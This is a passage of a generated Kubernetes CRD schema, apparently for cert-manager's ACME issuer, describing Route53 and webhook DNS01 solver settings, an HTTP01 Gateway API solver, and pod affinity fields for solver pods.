                          description: Use the AWS Route53 API to manage DNS01 challenge
                            records.
                          properties:
                            accessKeyID:
                              description: |-
                                The AccessKeyID is used for authentication.
                                Cannot be set when SecretAccessKeyID is set.
                                If neither the Access Key nor Key ID are set, we fall-back to using env
                                vars, shared credentials file or AWS Instance metadata,
                                see: https://docs.aws.amazon.com/sdk-for-go/v1/developer-guide/configuring-sdk.html#specifying-credentials
                              type: string
                            accessKeyIDSecretRef:
                              description: |-
                                The SecretAccessKey is used for authentication. If set, pull the AWS
                                access key ID from a key within a Kubernetes Secret.
                                Cannot be set when AccessKeyID is set.
                                If neither the Access Key nor Key ID are set, we fall-back to using env
                                vars, shared credentials file or AWS Instance metadata,
                                see: https://docs.aws.amazon.com/sdk-for-go/v1/developer-guide/configuring-sdk.html#specifying-credentials
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                            auth:
                              description: Auth configures how cert-manager authenticates.
                              properties:
                                kubernetes:
                                  description: |-
                                    Kubernetes authenticates with Route53 using AssumeRoleWithWebIdentity
                                    by passing a bound ServiceAccount token.
                                  properties:
                                    serviceAccountRef:
                                      description: |-
                                        A reference to a service account that will be used to request a bound
                                        token (also known as "projected token"). To use this field, you must
                                        configure an RBAC rule to let cert-manager request a token.
                                      properties:
                                        audiences:
                                          description: |-
                                            TokenAudiences is an optional list of audiences to include in the
                                            token passed to AWS. The default token consisting of the issuer's namespace
                                            and name is always included.
                                            If unset the audience defaults to `sts.amazonaws.com`.
                                          items:
                                            type: string
                                          type: array
                                        name:
                                          description: Name of the ServiceAccount
                                            used to request a token.
                                          type: string
                                      required:
                                      - name
                                      type: object
                                  required:
                                  - serviceAccountRef
                                  type: object
                              required:
                              - kubernetes
                              type: object
                            hostedZoneID:
                              description: If set, the provider will manage only this
                                zone in Route53 and will not do a lookup using the
                                route53:ListHostedZonesByName api call.
                              type: string
                            region:
                              description: |-
                                Override the AWS region.

                                Route53 is a global service and does not have regional endpoints but the
                                region specified here (or via environment variables) is used as a hint to
                                help compute the correct AWS credential scope and partition when it
                                connects to Route53. See:
                                - [Amazon Route 53 endpoints and quotas](https://docs.aws.amazon.com/general/latest/gr/r53.html)
                                - [Global services](https://docs.aws.amazon.com/whitepapers/latest/aws-fault-isolation-boundaries/global-services.html)

                                If you omit this region field, cert-manager will use the region from
                                AWS_REGION and AWS_DEFAULT_REGION environment variables, if they are set
                                in the cert-manager controller Pod.

                                The `region` field is not needed if you use [IAM Roles for Service Accounts (IRSA)](https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html).
                                Instead an AWS_REGION environment variable is added to the cert-manager controller Pod by:
                                [Amazon EKS Pod Identity Webhook](https://github.com/aws/amazon-eks-pod-identity-webhook).
                                In this case this `region` field value is ignored.

                                The `region` field is not needed if you use [EKS Pod Identities](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html).
                                Instead an AWS_REGION environment variable is added to the cert-manager controller Pod by:
                                [Amazon EKS Pod Identity Agent](https://github.com/aws/eks-pod-identity-agent),
                                In this case this `region` field value is ignored.
                              type: string
                            role:
                              description: |-
                                Role is a Role ARN which the Route53 provider will assume using either the explicit credentials AccessKeyID/SecretAccessKey
                                or the inferred credentials from environment variables, shared credentials file or AWS Instance metadata
                              type: string
                            secretAccessKeySecretRef:
                              description: |-
                                The SecretAccessKey is used for authentication.
                                If neither the Access Key nor Key ID are set, we fall-back to using env
                                vars, shared credentials file or AWS Instance metadata,
                                see: https://docs.aws.amazon.com/sdk-for-go/v1/developer-guide/configuring-sdk.html#specifying-credentials
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                          type: object
                        webhook:
                          description: |-
                            Configure an external webhook based DNS01 challenge solver to manage
                            DNS01 challenge records.
                          properties:
                            config:
                              description: |-
                                Additional configuration that should be passed to the webhook apiserver
                                when challenges are processed.
                                This can contain arbitrary JSON data.
                                Secret values should not be specified in this stanza.
                                If secret values are needed (e.g., credentials for a DNS service), you
                                should use a SecretKeySelector to reference a Secret resource.
                                For details on the schema of this field, consult the webhook provider
                                implementation's documentation.
                              x-kubernetes-preserve-unknown-fields: true
                            groupName:
                              description: |-
                                The API group name that should be used when POSTing ChallengePayload
                                resources to the webhook apiserver.
                                This should be the same as the GroupName specified in the webhook
                                provider implementation.
                              type: string
                            solverName:
                              description: |-
                                The name of the solver to use, as defined in the webhook provider
                                implementation.
                                This will typically be the name of the provider, e.g., 'cloudflare'.
                              type: string
                          required:
                          - groupName
                          - solverName
                          type: object
                      type: object
                    http01:
                      description: |-
                        Configures cert-manager to attempt to complete authorizations by
                        performing the HTTP01 challenge flow.
                        It is not possible to obtain certificates for wildcard domain names
                        (e.g., `*.example.com`) using the HTTP01 challenge mechanism.
                      properties:
                        gatewayHTTPRoute:
                          description: |-
                            The Gateway API is a sig-network community API that models service networking
                            in Kubernetes (https://gateway-api.sigs.k8s.io/). The Gateway solver will
                            create HTTPRoutes with the specified labels in the same namespace as the challenge.
                            This solver is experimental, and fields / behaviour may change in the future.
                          properties:
                            labels:
                              additionalProperties:
                                type: string
                              description: |-
                                Custom labels that will be applied to HTTPRoutes created by cert-manager
                                while solving HTTP-01 challenges.
                              type: object
                            parentRefs:
                              description: |-
                                When solving an HTTP-01 challenge, cert-manager creates an HTTPRoute.
                                cert-manager needs to know which parentRefs should be used when creating
                                the HTTPRoute. Usually, the parentRef references a Gateway. See:
                                https://gateway-api.sigs.k8s.io/api-types/httproute/#attaching-to-gateways
                              items:
                                description: |-
                                  ParentReference identifies an API object (usually a Gateway) that can be considered
                                  a parent of this resource (usually a route). There are two kinds of parent resources
                                  with "Core" support:

                                  * Gateway (Gateway conformance profile)
                                  * Service (Mesh conformance profile, ClusterIP Services only)

                                  This API may be extended in the future to support additional kinds of parent
                                  resources.

                                  The API object must be valid in the cluster; the Group and Kind must
                                  be registered in the cluster for this reference to be valid.
                                properties:
                                  group:
                                    default: gateway.networking.k8s.io
                                    description: |-
                                      Group is the group of the referent.
                                      When unspecified, "gateway.networking.k8s.io" is inferred.
                                      To set the core API group (such as for a "Service" kind referent),
                                      Group must be explicitly set to "" (empty string).

                                      Support: Core
                                    maxLength: 253
                                    pattern: ^$|^[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*$
                                    type: string
                                  kind:
                                    default: Gateway
                                    description: |-
                                      Kind is kind of the referent.

                                      There are two kinds of parent resources with "Core" support:

                                      * Gateway (Gateway conformance profile)
                                      * Service (Mesh conformance profile, ClusterIP Services only)

                                      Support for other resources is Implementation-Specific.
                                    maxLength: 63
                                    minLength: 1
                                    pattern: ^[a-zA-Z]([-a-zA-Z0-9]*[a-zA-Z0-9])?$
                                    type: string
                                  name:
                                    description: |-
                                      Name is the name of the referent.

                                      Support: Core
                                    maxLength: 253
                                    minLength: 1
                                    type: string
                                  namespace:
                                    description: |-
                                      Namespace is the namespace of the referent. When unspecified, this refers
                                      to the local namespace of the Route.

                                      Note that there are specific rules for ParentRefs which cross namespace
                                      boundaries. Cross-namespace references are only valid if they are explicitly
                                      allowed by something in the namespace they are referring to. For example:
                                      Gateway has the AllowedRoutes field, and ReferenceGrant provides a
                                      generic way to enable any other kind of cross-namespace reference.

                                      <gateway:experimental:description>
                                      ParentRefs from a Route to a Service in the same namespace are "producer"
                                      routes, which apply default routing rules to inbound connections from
                                      any namespace to the Service.

                                      ParentRefs from a Route to a Service in a different namespace are
                                      "consumer" routes, and these routing rules are only applied to outbound
                                      connections originating from the same namespace as the Route, for which
                                      the intended destination of the connections are a Service targeted as a
                                      ParentRef of the Route.
                                      </gateway:experimental:description>

                                      Support: Core
                                    maxLength: 63
                                    minLength: 1
                                    pattern: ^[a-z0-9]([-a-z0-9]*[a-z0-9])?$
                                    type: string
                                  port:
                                    description: |-
                                      Port is the network port this Route targets. It can be interpreted
                                      differently based on the type of parent resource.

                                      When the parent resource is a Gateway, this targets all listeners
                                      listening on the specified port that also support this kind of Route(and
                                      select this Route). It's not recommended to set `Port` unless the
                                      networking behaviors specified in a Route must apply to a specific port
                                      as opposed to a listener(s) whose port(s) may be changed. When both Port
                                      and SectionName are specified, the name and port of the selected listener
                                      must match both specified values.

                                      <gateway:experimental:description>
                                      When the parent resource is a Service, this targets a specific port in the
                                      Service spec. When both Port (experimental) and SectionName are specified,
                                      the name and port of the selected port must match both specified values.
                                      </gateway:experimental:description>

                                      Implementations MAY choose to support other parent resources.
                                      Implementations supporting other types of parent resources MUST clearly
                                      document how/if Port is interpreted.

                                      For the purpose of status, an attachment is considered successful as
                                      long as the parent resource accepts it partially. For example, Gateway
                                      listeners can restrict which Routes can attach to them by Route kind,
                                      namespace, or hostname. If 1 of 2 Gateway listeners accept attachment
                                      from the referencing Route, the Route MUST be considered successfully
                                      attached. If no Gateway listeners accept attachment from this Route,
                                      the Route MUST be considered detached from the Gateway.

                                      Support: Extended
                                    format: int32
                                    maximum: 65535
                                    minimum: 1
                                    type: integer
                                  sectionName:
                                    description: |-
                                      SectionName is the name of a section within the target resource. In the
                                      following resources, SectionName is interpreted as the following:

                                      * Gateway: Listener name. When both Port (experimental) and SectionName
                                      are specified, the name and port of the selected listener must match
                                      both specified values.
                                      * Service: Port name. When both Port (experimental) and SectionName
                                      are specified, the name and port of the selected listener must match
                                      both specified values.

                                      Implementations MAY choose to support attaching Routes to other resources.
                                      If that is the case, they MUST clearly document how SectionName is
                                      interpreted.

                                      When unspecified (empty string), this will reference the entire resource.
                                      For the purpose of status, an attachment is considered successful if at
                                      least one section in the parent resource accepts it. For example, Gateway
                                      listeners can restrict which Routes can attach to them by Route kind,
                                      namespace, or hostname. If 1 of 2 Gateway listeners accept attachment from
                                      the referencing Route, the Route MUST be considered successfully
                                      attached. If no Gateway listeners accept attachment from this Route, the
                                      Route MUST be considered detached from the Gateway.

                                      Support: Core
                                    maxLength: 253
                                    minLength: 1
                                    pattern: ^[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*$
                                    type: string
                                required:
                                - name
                                type: object
                              type: array
                            podTemplate:
                              description: |-
                                Optional pod template used to configure the ACME challenge solver pods
                                used for HTTP01 challenges.
                              properties:
                                metadata:
                                  description: |-
                                    ObjectMeta overrides for the pod used to solve HTTP01 challenges.
                                    Only the 'labels' and 'annotations' fields may be set.
                                    If labels or annotations overlap with in-built values, the values here
                                    will override the in-built values.
                                  properties:
                                    annotations:
                                      additionalProperties:
                                        type: string
                                      description: Annotations that should be added
                                        to the created ACME HTTP01 solver pods.
                                      type: object
                                    labels:
                                      additionalProperties:
                                        type: string
                                      description: Labels that should be added to
                                        the created ACME HTTP01 solver pods.
                                      type: object
                                  type: object
                                spec:
                                  description: |-
                                    PodSpec defines overrides for the HTTP01 challenge solver pod.
                                    Check ACMEChallengeSolverHTTP01IngressPodSpec to find out currently supported fields.
                                    All other fields will be ignored.
                                  properties:
                                    affinity:
                                      description: If specified, the pod's scheduling
                                        constraints
                                      properties:
                                        nodeAffinity:
                                          description: Describes node affinity scheduling
                                            rules for the pod.
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node matches the corresponding matchExpressions; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: |-
                                                  An empty preferred scheduling term matches all objects with implicit weight 0
                                                  (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                                properties:
                                                  preference:
                                                    description: A node selector term,
                                                      associated with the corresponding
                                                      weight.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  weight:
                                                    description: Weight associated
                                                      with matching the corresponding
                                                      nodeSelectorTerm, in the range
                                                      1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - preference
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to an update), the system
                                                may or may not try to eventually evict the pod from its node.
                                              properties:
                                                nodeSelectorTerms:
                                                  description: Required. A list of
                                                    node selector terms. The terms
                                                    are ORed.
                                                  items:
                                                    description: |-
                                                      A null or empty node selector term matches no objects. The requirements of
                                                      them are ANDed.
                                                      The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - nodeSelectorTerms
                                              type: object
                                              x-kubernetes-map-type: atomic
                                          type: object
                                        podAffinity:
                                          description: Describes pod affinity scheduling
                                            rules (e.g. co-locate this pod in the
                                            same node, zone, etc. as some other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                        podAntiAffinity:
                                          description: Describes pod anti-affinity
                                            scheduling rules (e.g. avoid putting this
                                            pod in the same node, zone, etc. as some
                                            other pod(s)).
                                          properties:
